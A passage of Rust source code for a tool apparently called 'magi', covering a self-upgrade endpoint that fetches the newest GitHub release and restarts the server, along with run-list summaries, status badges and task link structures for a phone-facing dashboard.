3595/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3596fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3597    progress.filter(|p| !p.stage.terminal())
3598}
3599
3600/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3601/// Unknown diagnostics retain their complete message without guessing a delay.
3602fn upgrade_retry_after(message: &str) -> Option<u64> {
3603    if !message.contains("GitHub") || !message.contains("rate limit") {
3604        return None;
3605    }
3606    if message.contains("retry now") {
3607        return Some(0);
3608    }
3609    let duration = message
3610        .split_once("resets in ")
3611        .or_else(|| message.split_once("retry after "))?
3612        .1
3613        .split_once(')')?
3614        .0;
3615    let mut rest = duration.trim();
3616    if rest.is_empty() {
3617        return None;
3618    }
3619    let mut total = 0u64;
3620    while !rest.is_empty() {
3621        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3622        let amount: u64 = rest[..n].parse().ok()?;
3623        let scale = match rest[n..].chars().next()? {
3624            's' => 1,
3625            'm' => 60,
3626            'h' => 3600,
3627            'd' => 86400,
3628            _ => return None,
3629        };
3630        total = total.checked_add(amount.checked_mul(scale)?)?;
3631        rest = rest[n + 1..].trim_start();
3632    }
3633    Some(total)
3634}
3635
3636#[derive(Debug, Clone, Serialize)]
3637struct UpgradeRequestFailure {
3638    occurred_at: String,
3639    error: String,
3640    retry_after_secs: Option<u64>,
3641    /// Unix seconds; independent of the phone's polling cadence.
3642    retry_at: Option<u64>,
3643}
3644
3645impl UpgradeRequestFailure {
3646    fn new(error: String) -> Self {
3647        let retry_after_secs = upgrade_retry_after(&error);
3648        let now = std::time::SystemTime::now()
3649            .duration_since(std::time::UNIX_EPOCH)
3650            .unwrap_or_default()
3651            .as_secs();
3652        Self {
3653            occurred_at: jiff::Timestamp::now().to_string(),
3654            error,
3655            retry_after_secs,
3656            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3657        }
3658    }
3659}
3660
3661/// `POST /api/upgrade` - replace this binary with the newest release and come
3662/// back on it.
3663///
3664/// Replace the installed binary, restart the detached scheduler, release the
3665/// web listener, then start the successor. Active task and conversation
3666/// workers retain their immutable executable and continue without parking.
3667///
3668/// A legacy embedded scheduler is the only incompatible owner: its work
3669/// must finish or park before the first migration replaces its process.
3670///
3671/// Answers **202**: the reply has to reach the phone while this process can
3672/// still send one, and the phone learns the deck is back by reconnecting.
3673async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3674    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3675}
3676
3677async fn begin_upgrade(
3678    ui: &Arc<Ui>,
3679    trigger: updater::UpgradeTrigger,
3680    latest: Option<kaishin::LatestRelease>,
3681) -> Response {
3682    let reading = daemon::read_status(&ui.home);
3683    if let Some(other) = Foreign::of(reading.as_ref()) {
3684        return ApiError::conflict(format!(
3685            "{} is a legacy scheduler without detached restart support. \
3686             Finish or explicitly park its work in the existing UI before \
3687             this first migration; independent schedulers do not need this.",
3688            other.who()
3689        ))
3690        .into_response();
3691    }
3692
3693    // A second upgrade while one is moving would replace the binary and
3694    // signal the handover again after `serve` already consumed the first
3695    // signal, leaving the process in `replaced` forever. Try-lock rather than
3696    // wait: a phone connection must not hang behind a GitHub round trip.
3697    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3698        return ApiError::conflict("another request is already preparing an upgrade")
3699            .into_response();
3700    };
3701    // Hold the same gate through recording/clearing the request outcome, so
3702    // an older response cannot overwrite a retry's result.
3703    if trigger == updater::UpgradeTrigger::Auto {
3704        let cfg = match Config::discover(&ui.repo, None) {
3705            Ok((cfg, _)) => cfg,
3706            Err(e) => {
3707                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3708            }
3709        };
3710        let Some(latest) = latest else {
3711            return StatusCode::NO_CONTENT.into_response();
3712        };
3713        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3714            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3715        let decision = {
3716            let failed = ui
3717                .auto_failed_tag
3718                .lock()
3719                .unwrap_or_else(PoisonError::into_inner);
3720            auto_upgrade_decision(
3721                &cfg.update,
3722                updater::disabled_by_env(),
3723                in_motion,
3724                &latest.tag_name,
3725                failed.as_deref(),
3726            )
3727        };
3728        if let AutoUpgradeDecision::Skip(reason) = decision {
3729            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3730            return StatusCode::NO_CONTENT.into_response();
3731        }
3732        return finish_upgrade_request(
3733            ui,
3734            upgrade_checked_for(
3735                ui,
3736                env!("CARGO_PKG_VERSION").into(),
3737                Ok(Some(latest)),
3738                trigger,
3739            ),
3740        );
3741    }
3742    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3743}
3744
3745fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3746    match result {
3747        Ok(out) => {
3748            *ui.upgrade_request_error
3749                .lock()
3750                .unwrap_or_else(PoisonError::into_inner) = None;
3751            out.into_response()
3752        }
3753        Err(error) if error.status != StatusCode::CONFLICT => {
3754            let failure = UpgradeRequestFailure::new(error.message);
3755            *ui.upgrade_request_error
3756                .lock()
3757                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3758            let mut response = (error.status, Json(&failure)).into_response();
3759            if let Some(value) = failure
3760                .retry_after_secs
3761                .and_then(|secs| secs.to_string().parse().ok())
3762            {
3763                response.headers_mut().insert("retry-after", value);
3764            }
3765            response
3766        }
3767        Err(error) => error.into_response(),
3768    }
3769}
3770
3771async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3772    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3773        return Err(ApiError::conflict(
3774            "an upgrade is already in progress (this process started one and it \
3775             has not finished or failed yet)",
3776        ));
3777    }
3778    let recorded = updater::read_progress(&ui.home);
3779    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3780        return Err(ApiError::conflict(format!(
3781            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3782             stays stuck, restart the deck; on start it settles a stale record.",
3783            p.stage.as_str(),
3784            p.from,
3785            p.to.as_deref().unwrap_or("?"),
3786        )));
3787    }
3788
3789    // The same kill switch the background check honours (`disabled_by_env`),
3790    // checked before anything else for the same reason it is read before the
3791    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3792    // contact GitHub from this process", and a button press must not
3793    // override that any more than a broken `magi.toml` may.
3794    if crate::updater::disabled_by_env() {
3795        return Ok((
3796            StatusCode::OK,
3797            Json(UpgradeView {
3798                from: env!("CARGO_PKG_VERSION").to_owned(),
3799                to: None,
3800                detail: format!(
3801                    "Automatic updates are disabled by {}. Nothing was parked \
3802                     and nothing restarted.",
3803                    crate::updater::NO_AUTOUPDATE_ENV
3804                ),
3805            }),
3806        ));
3807    }
3808
3809    // Check before disturbing listeners or scheduling: no available update
3810    // means there is no reason to restart anything.
3811    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3812    let from = env!("CARGO_PKG_VERSION").to_owned();
3813    let latest = match crate::updater::Checker::new(&cfg.update) {
3814        Some(checker) => checker.newer_release().await,
3815        None => Ok(None),
3816    };
3817    upgrade_checked(ui, from, latest)
3818}
3819
3820fn upgrade_checked(
3821    ui: &Arc<Ui>,
3822    from: String,
3823    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3824) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3825    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3826}
3827
3828fn upgrade_checked_for(
3829    ui: &Arc<Ui>,
3830    from: String,
3831    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3832    trigger: updater::UpgradeTrigger,
3833) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3834    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3835    let Some(latest) = latest else {
3836        return Ok((
3837            StatusCode::OK,
3838            Json(UpgradeView {
3839                from,
3840                to: None,
3841                detail: "Already on the newest release. Nothing was parked \
3842                         and nothing restarted."
3843                    .to_owned(),
3844            }),
3845        ));
3846    };
3847
3848    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3849        let detail = format!("cannot determine scheduler restart state: {error:#}");
3850        if trigger == updater::UpgradeTrigger::Auto {
3851            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3852        }
3853        return Err(ApiError::internal(detail));
3854    }
3855    if trigger == updater::UpgradeTrigger::Auto {
3856        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3857    }
3858
3859    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3860
3861    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3862    // poll must see a `Downloading` stage immediately, not whenever the
3863    // spawned task happens to get scheduled.
3864    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3865    progress.trigger = trigger;
3866    updater::write_progress_logged(&ui.home, &progress);
3867
3868    let home = ui.home.clone();
3869    ui.upgrade_spawned
3870        .store(true, std::sync::atomic::Ordering::SeqCst);
3871    let spawned = Arc::clone(&ui.upgrade_spawned);
3872    let runner = ui.upgrade_runner;
3873    let failed = ui.auto_failed_tag.clone();
3874    let tag = latest.tag_name.clone();
3875    tokio::spawn(async move {
3876        if let Err(e) = runner(home.clone()).await {
3877            if trigger == updater::UpgradeTrigger::Auto {
3878                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3879            }
3880            tracing::error!("the upgrade did not complete: {e:#}");
3881            // A failure of this attempt says nothing about a handover an
3882            // earlier request already has in flight; checked and written
3883            // under the progress lock.
3884            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3885            // Release only after failure bookkeeping, before accepting a retry.
3886            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3887        }
3888    });
3889
3890    Ok((
3891        StatusCode::ACCEPTED,
3892        Json(UpgradeView {
3893            from,
3894            to: Some(latest.tag_name),
3895            detail,
3896        }),
3897    ))
3898}
3899
3900/// Replace the binary, then ask [`serve`] to hand the address over.
3901///
3902/// Separated from the handler so the 202 is already on its way, and separated
3903/// from the spawn so the successor starts only after the listener is dropped.
3904async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3905    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3906    // hang the upgrade for as long as the process lives.
3907    crate::updater::run_self_update(true, false, true).await?;
3908    updater::log_step(&home, "binary replaced - recording the replaced stage");
3909    if let Some(mut progress) = updater::read_progress(&home) {
3910        progress.advance(updater::Stage::Replaced);
3911        updater::write_progress_logged(&home, &progress);
3912    }
3913    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3914    HANDOVER.notify_one();
3915    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3916    Ok(())
3917}
3918
3919/// One row in the run list.
3920///
3921/// The list route returns this rather than whole `RunState`s: the summary of a
3922/// run is a few hundred bytes and the state is megabytes, and the difference
3923/// is what makes the history usable on a mobile link.
3924#[derive(Debug, Serialize)]
3925struct RunSummary {
3926    activity: String,
3927    id: String,
3928    short: String,
3929    status: String,
3930    done: bool,
3931    instruction: String,
3932    title: String,
3933    repo: String,
3934    repo_name: String,
3935    created_at: String,
3936    updated_at: String,
3937    candidates: usize,
3938    viable: usize,
3939    judges: usize,
3940    winner: Option<char>,
3941    reviews: usize,
3942    quota_losses: usize,
3943    event: Option<String>,
3944    /// The later attempt at the same task that replaced this one, if any.
3945    ///
3946    /// Two cards with one title is otherwise unreadable: this is what lets
3947    /// the deck say "superseded by 4043" on the older of the pair.
3948    superseded_by: Option<String>,
3949    /// Blocked on a question nobody has answered.
3950    ///
3951    /// Derived from the question store rather than stored on the run: an agent
3952    /// calling `magi ask` blocks mid-node, and writing a status from there
3953    /// would race the graph's own save of `run.json` and be overwritten at the
3954    /// next node boundary. Asking the store is always true and never races.
3955    waiting: bool,
3956    /// Whether the process recorded as driving this run can still be proven
3957    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3958    /// rather than presenting its last graph node as still in flight.
3959    live: crate::run::Liveness,
3960    /// The land loop's last look at the pull request, when there is one.
3961    pr: Option<crate::run::PrRecord>,
3962    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3963    /// design — never picked up by the PR-polling merge watcher, unlike an
3964    /// ordinary `Ready` that may still be a live landing candidate. See
3965    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3966    /// re-deriving the same check from `status` and `merge.mode` itself.
3967    unmerged_by_design: bool,
3968    /// Derived presentation status matching [`RunDetailView::display_status`].
3969    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3970    #[serde(default)]
3971    display_status: String,
3972    /// What the status badge shows: `display_status`, or `superseded` for a
3973    /// non-live run a later attempt replaced. See [`run_badge_status`].
3974    #[serde(default)]
3975    badge_status: String,
3976    /// Who started the run, as the one label every surface shares; the
3977    /// "origin unknown" wording when the record predates origins.
3978    origin_label: String,
3979}
3980
3981impl RunSummary {
3982    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3983        Self {
3984            activity: crate::run_progress::activity(state, live, waiting),
3985            id: state.id.clone(),
3986            short: state.short().to_owned(),
3987            status: status_word(state.status),
3988            done: state.status.done(),
3989            unmerged_by_design: state.unmerged_by_design(),
3990            display_status: run_display_status(state, waiting, live),
3991            badge_status: run_display_status(state, waiting, live),
3992            instruction: state.instruction.clone(),
3993            title: title_from(&state.instruction, TITLE_MAX),
3994            repo: state.repo.display().to_string(),
3995            repo_name: state
3996                .repo
3997                .file_name()
3998                .map(|n| n.to_string_lossy().into_owned())
3999                .unwrap_or_default(),
4000            created_at: state.created_at.to_string(),
4001            updated_at: state.updated_at.to_string(),
4002            candidates: state.candidates.len(),
4003            viable: state.viable().len(),
4004            judges: state.config.graph.judges,
4005            winner: state.winner().map(|c| c.label),
4006            reviews: state.reviews.len(),
4007            quota_losses: state.quota.len(),
4008            event: state
4009                .verification_blocking_cause()
4010                .or_else(|| state.events.last().map(|e| e.message.clone())),
4011            waiting,
4012            live,
4013            // Filled in by the list route, which is the only place that can
4014            // see a task's other attempts.
4015            superseded_by: None,
4016            pr: state.pr.clone(),
4017            origin_label: crate::run::origin_label(state.origin.as_ref()),
4018        }
4019    }
4020}
4021
4022/// `RunStatus` as the wire spells it. Every variant is one word, so this is
4023/// the same string `serde` writes for the status inside a full run.
4024fn status_word(status: RunStatus) -> String {
4025    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
4026    // was a third way of naming the same statuses, and one that changed
4027    // silently with a derive.
4028    status.as_str().to_owned()
4029}
4030
4031/// The presentation status for a run, unified across summaries and details.
4032///
4033/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
4034/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
4035/// runs awaiting operator answers.
4036fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
4037    if waiting {
4038        return "waiting".to_owned();
4039    }
4040    if state.unmerged_by_design() {
4041        return "unmerged".to_owned();
4042    }
4043    if !state.status.done() && live == crate::run::Liveness::Dead {
4044        // The driver claim clears this flag before saving another event.
4045        // A previous park event can therefore outlive a resumed driver.
4046        if state.parked {
4047            return "parked".to_owned();
4048        }
4049        return "stale".to_owned();
4050    }
4051    status_word(state.status)
4052}
4053
4054/// The word a run's status badge shows: `display_status`, except that a
4055/// non-terminal run which is not provably live and was replaced by a later
4056/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
4057///
4058/// Same judgement `magi show` uses (`RunState::liveness`, the task's
4059/// successor); a live driver, `Unknown` liveness and terminal runs keep their
4060/// own word, so superseded never claims more than "not live".
4061fn run_badge_status(
4062    state: &RunState,
4063    display_status: &str,
4064    live: crate::run::Liveness,
4065    superseded: bool,
4066) -> String {
4067    if state.status.done() || live == crate::run::Liveness::Live {
4068        return display_status.to_owned();
4069    }
4070    if superseded {
4071        return "superseded".to_owned();
4072    }
4073    // A dead run's `display_status` is `stale`, except that a deliberate park
4074    // and an open owner question keep their own word: neither is a crash, and
4075    // the question still needs an answer. Anything else dead reads `stale`.
4076    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
4077        return "stale".to_owned();
4078    }
4079    display_status.to_owned()
4080}
4081
4082/// `?limit=`, clamped by the handler.
4083#[derive(Debug, Deserialize)]
4084struct ListQuery {
4085    #[serde(default)]
4086    limit: Option<usize>,
4087    /// Exact ids only; an empty value requests no rows (except queue blockers).
4088    ids: Option<String>,
4089}
4090
4091impl ListQuery {
4092    fn contains(&self, id: &str) -> bool {
4093        self.ids
4094            .as_ref()
4095            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
4096    }
4097}
4098
4099async fn runs_list(
4100    State(ui): State<Arc<Ui>>,
4101    Query(q): Query<ListQuery>,
4102) -> ApiResult<Json<Vec<RunSummary>>> {
4103    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
4104    blocking(move || {
4105        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4106        let states = run_ids(&ui.runs)
4107            .into_iter()
4108            // A run whose state cannot be read is skipped, not fatal: a run
4109            // killed mid-write must not blank the history of every other one.
4110            // The detail route still explains it, which is where an operator
4111            // asking "what happened to that run" ends up.
4112            .filter_map(|id| read_run(&ui.runs, &id).ok())
4113            .take(limit)
4114            .filter(|run| q.contains(&run.id));
4115        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4116        let summaries = summarize(
4117            states,
4118            &open_runs,
4119            &claimed,
4120            &superseded,
4121            |p| probe.borrow_mut().status(p),
4122            |p| probe.borrow_mut().started_at(p),
4123        );
4124        Ok(Json(summaries))
4125    })
4126    .await
4127}
4128
4129/// Everything the per-run rows share, read once: runs with an open question,
4130/// runs a live daemon claims, and the superseded map. Asking per run re-read
4131/// every question file and the daemon status file for each of hundreds of
4132/// runs, and spawned a process probe per run on Windows.
4133fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4134    let open_runs: HashSet<String> = ui
4135        .questions
4136        .list()
4137        .into_iter()
4138        .filter(|q| q.status.open())
4139        .map(|q| q.run)
4140        .collect();
4141    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4142        .into_iter()
4143        .map(|c| c.run)
4144        .collect();
4145    (open_runs, claimed, ui.queue.superseded())
4146}
4147
4148/// The rows of the run list, given everything that is shared between them.
4149///
4150/// Pure over its inputs so a test can count how often the process queries are
4151/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4152/// takes, called at most once per run.
4153fn summarize<I, S, D>(
4154    states: I,
4155    open_runs: &HashSet<String>,
4156    claimed: &HashSet<String>,
4157    superseded: &HashMap<String, String>,
4158    mut status_q: S,
4159    mut identity_q: D,
4160) -> Vec<RunSummary>
4161where
4162    I: IntoIterator<Item = RunState>,
4163    S: FnMut(u32) -> Option<bool>,
4164    D: FnMut(u32) -> Option<String>,
4165{
4166    states
4167        .into_iter()
4168        .map(|state| {
4169            let waiting = open_runs.contains(&state.id);
4170            let live =
4171                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4172            let mut row = RunSummary::of(&state, waiting, live);
4173            row.superseded_by = state
4174                .pr_taken_over_by
4175                .as_ref()
4176                .or_else(|| superseded.get(&state.id))
4177                .map(String::as_str)
4178                .map(crate::run::short_of)
4179                .map(str::to_owned);
4180            row.badge_status = run_badge_status(
4181                &state,
4182                &row.display_status,
4183                live,
4184                row.superseded_by.is_some(),
4185            );
4186            row
4187        })
4188        .collect()
4189}
4190
4191/// A run as the detail route hands it to the phone.
4192///
4193/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4194/// the instruction as markdown, and the raw `instruction` field this struct
4195/// still carries (unchanged) is what a client wanting the exact bytes reads
4196/// instead.
4197#[derive(Debug, Serialize)]
4198struct RunDetailView {
4199    progress: crate::run_progress::Progress,
4200    stop_reason: Option<String>,
4201    #[serde(flatten)]
4202    state: RunState,
4203    instruction_md: Vec<md::Node>,
4204    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4205    /// mirror the records they come from, index for index; the raw strings
4206    /// stay in `state` and decide whether a block is shown at all.
4207    #[serde(flatten)]
4208    prose_md: RunProseMd,
4209    /// Whether a process is actually still driving this run: `"live"`,
4210    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4211    ///
4212    /// `state.active` (flattened in above) is only ever cleared by the
4213    /// process that populated it; a killed one leaves its last wave's
4214    /// entries behind. Carrying this alongside is what lets the phone rail
4215    /// tell "this seat is still answering" from "this seat was still
4216    /// answering when whatever was driving this run died" without a second
4217    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4218    /// proof of either. A string rather than a bool on purpose: a daemon
4219    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4220    /// and neither proven is `"unknown"` — folding that third case into
4221    /// either end of a bool is exactly the wrong call for a phone screen an
4222    /// operator uses to decide whether to wait or to act.
4223    live: crate::run::Liveness,
4224    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4225    /// alongside the flattened `state` rather than inside it, since
4226    /// `RunState` has no business knowing which of its own methods a caller
4227    /// wants serialized.
4228    unmerged_by_design: bool,
4229    /// Same field and meaning as [`RunSummary::waiting`].
4230    #[serde(default)]
4231    waiting: bool,
4232    /// Same derived presentation status as [`RunSummary::display_status`].
4233    #[serde(default)]
4234    display_status: String,
4235    /// Same field and meaning as [`RunSummary::badge_status`].
4236    #[serde(default)]
4237    badge_status: String,
4238    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4239    /// terminal. The client's `landView` keys on it, and the flattened state
4240    /// has no such field, so without it a finished run's stale `open` PR
4241    /// would be painted as live on the detail page.
4242    done: bool,
4243    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4244    /// route fills it from [`Queue::superseded`], the detail route from
4245    /// [`Queue::superseded_by`], and both read the same underlying task
4246    /// order. Without this the detail page could only ever show a red
4247    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4248    /// with nothing anywhere saying so — an operator opening it had no way
4249    /// to tell "this is done elsewhere" from "this still needs a retry".
4250    superseded_by: Option<String>,
4251    /// The task's current attempt, when this run is an older one — resolved
4252    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4253    /// the client to derive.
4254    ///
4255    /// Three things a client cannot safely do on its own drove this onto the
4256    /// server: it has to name the chain's *current head*, not just the next
4257    /// attempt (`superseded_by` above), because an intermediate retry in a
4258    /// longer chain can itself still be unresolved; it has to resolve to a
4259    /// real id rather than a short id a client would have to guess a full id
4260    /// from, which is ambiguous the moment two runs share a suffix; and it
4261    /// has to read that head's own status directly, because whether a run
4262    /// list a client happens to have cached even contains that attempt
4263    /// depends on a page limit this route knows nothing about.
4264    latest_attempt: Option<LatestAttempt>,
4265    /// The queue task this run belongs to, so the detail page can link back
4266    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4267    task: Option<TaskRef>,
4268    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4269    /// run recorded before origins existed. `origin` itself (flattened in
4270    /// with `state`) is `null` in that case.
4271    origin_label: String,
4272    /// Each recorded pass over this run, with the cause it stopped for. Empty
4273    /// for a run from before passes were kept: its earlier passes are unknown.
4274    pass_views: Vec<PassView>,
4275}
4276
4277/// A task named from a run's detail page.
4278#[derive(Debug, Serialize)]
4279struct TaskRef {
4280    id: String,
4281    short: String,
4282    title: String,
4283    /// [`Source::label`], e.g. `chat@a1b2`.
4284    source_label: String,
4285    /// Where the task came from, when that place has a page; see [`source_link`].
4286    source_link: Option<SourceLink>,
4287    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4288    status: &'static str,
4289    attempts: usize,
4290    max_attempts: usize,
4291    /// This run is the last entry of the task's run list.
4292    is_latest: bool,
4293    /// The task's newest run, when it is not this one.
4294    latest: Option<RunBrief>,
4295    /// The run that finished a `done` task (merged, or already in the base).
4296    finished_by: Option<RunBrief>,
4297    /// The task is `done` but no run on record finished it: closed by hand.
4298    closed_by_hand: bool,
4299}
4300
4301/// The page that filed a task, as the UI links to it.
4302#[derive(Debug, PartialEq, Eq, Serialize)]
4303struct SourceLink {
4304    /// `chat` (a conversation) or `run` (a run's node).
4305    kind: &'static str,
4306    /// The full id, never the short one in the label.
4307    id: String,
4308    /// The hash route that opens it.
4309    href: String,
4310}
4311
4312/// Percent-encode everything outside the URL-unreserved set.
4313fn encode_segment(raw: &str) -> String {
4314    let mut out = String::with_capacity(raw.len());
4315    for b in raw.bytes() {
4316        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4317            out.push(b as char);
4318        } else {
4319            out.push_str(&format!("%{b:02X}"));
4320        }
4321    }
4322    out
4323}
4324
4325/// The one place that decides where a task's source links to. A chat
4326/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4327/// a person or an imported issue has no page, so no link.
4328fn source_link(source: &Source) -> Option<SourceLink> {
4329    let Source::Agent { run, node } = source else {
4330        return None;
4331    };
4332    let (kind, route) = if node == crate::queue::CHAT_NODE {
4333        ("chat", "chat")
4334    } else {
4335        ("run", "runs")
4336    };
4337    Some(SourceLink {
4338        kind,
4339        id: run.clone(),
4340        href: id_links::page_href(route, run),
4341    })
4342}
4343
4344/// The parent task of a follow-up, when its file can still be read.
4345#[derive(Debug, Serialize, PartialEq)]
4346struct FollowUpParent {
4347    id: String,
4348    short: String,
4349    title: String,
4350    /// The parent's own status (`TaskStatus::as_str`).
4351    status: &'static str,
4352    href: String,
4353}
4354
4355/// The merged run a follow-up was filed from.
4356#[derive(Debug, Serialize, PartialEq)]
4357struct FollowUpRun {
4358    id: String,
4359    short: String,
4360    /// `None` when the run's record cannot be read.
4361    status: Option<&'static str>,
4362    /// `None` unless the record could be read: never a dead link.
4363    href: Option<String>,
4364}
4365
4366/// Where a follow-up task came from, resolved once per task page so the flow
4367/// chart and the detail block cannot disagree. See [`followup_origin`].
4368#[derive(Debug, Serialize, PartialEq)]
4369struct FollowUpOrigin {
4370    /// Present only when `origin_task` is set and that task still exists.
4371    parent: Option<FollowUpParent>,
4372    run: FollowUpRun,
4373    /// The merged pull request, verbatim. Not an href: the client passes it
4374    /// through `forgeUrl()` and renders text when that refuses it (the one
4375    /// exception to "the href rule is Rust's alone", since a forge URL is
4376    /// data from a record, not a route).
4377    pr: String,
4378    findings: Vec<String>,
4379    generation: u32,
4380}
4381
4382/// The one place that decides what a follow-up links to. A parent that cannot
4383/// be read (gone, or an id that names nothing) is `None`, never an error.
4384fn followup_origin(
4385    fu: &crate::queue::FollowUp,
4386    task: impl Fn(&str) -> Option<Task>,
4387    run: impl Fn(&str) -> Option<RunState>,
4388) -> FollowUpOrigin {
4389    let parent = fu
4390        .origin_task
4391        .as_deref()
4392        .and_then(task)
4393        .map(|t| FollowUpParent {
4394            short: t.short().to_owned(),
4395            href: format!("#/tasks/{}", encode_segment(&t.id)),
4396            status: t.status.as_str(),
4397            title: t.title,
4398            id: t.id,
4399        });
4400    let state = run(&fu.run);
4401    FollowUpOrigin {
4402        parent,
4403        run: FollowUpRun {
4404            short: run::short_of(&fu.run).to_owned(),
4405            status: state.as_ref().map(|s| s.status.as_str()),
4406            href: state
4407                .is_some()
4408                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4409            id: fu.run.clone(),
4410        },
4411        pr: fu.pr.clone(),
4412        findings: fu.findings.clone(),
4413        generation: fu.generation,
4414    }
4415}
4416
4417/// Another run of the same task, as named from a run's detail page.
4418#[derive(Debug, Serialize)]
4419struct RunBrief {
4420    id: String,
4421    short: String,
4422    /// `None` when the run's record cannot be read.
4423    status: Option<&'static str>,
4424    /// The task-page wording for how that pass ended.
4425    outcome: String,
4426    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4427    badge: Option<String>,
4428}
4429
4430/// The task's overall outcome as seen from `this_run`'s page, classified with
4431/// the same exits the task page's flowchart uses.
4432fn task_outcome(
4433    task: &Task,
4434    this_run: &str,
4435    max_attempts: usize,
4436    read: impl Fn(&str) -> Option<RunState>,
4437) -> TaskRef {
4438    let max_attempts = task.effective_attempt_limit(max_attempts);
4439    let history = task_history(task, read);
4440    let brief = |h: &TaskRunView| RunBrief {
4441        id: h.id.clone(),
4442        short: h.short.clone(),
4443        status: h.status,
4444        outcome: h.exit.edge_label(h.status),
4445        badge: h.badge.clone(),
4446    };
4447    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4448    let latest = if is_latest {
4449        None
4450    } else {
4451        history.last().map(brief)
4452    };
4453    let done = task.status == TaskStatus::Done;
4454    let finished_by = done
4455        .then(|| {
4456            history
4457                .iter()
4458                .rev()
4459                .find(|h| {
4460                    matches!(
4461                        h.exit,
4462                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4463                    )
4464                })
4465                .map(brief)
4466        })
4467        .flatten();
4468    TaskRef {
4469        short: task.short().to_owned(),
4470        title: task.title.clone(),
4471        id: task.id.clone(),
4472        source_label: task.source_label(),
4473        source_link: source_link(&task.source),
4474        status: task.status.as_str(),
4475        attempts: task.attempts,
4476        max_attempts,
4477        is_latest,
4478        latest,
4479        closed_by_hand: done && finished_by.is_none(),
4480        finished_by,
4481    }
4482}
4483
4484/// The task's current attempt, as seen from an older one's detail page.
4485#[derive(Debug, Serialize)]
4486struct LatestAttempt {
4487    id: String,
4488    short: String,
4489    /// Whether this attempt itself settled with a result nobody needs to
4490    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4491    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
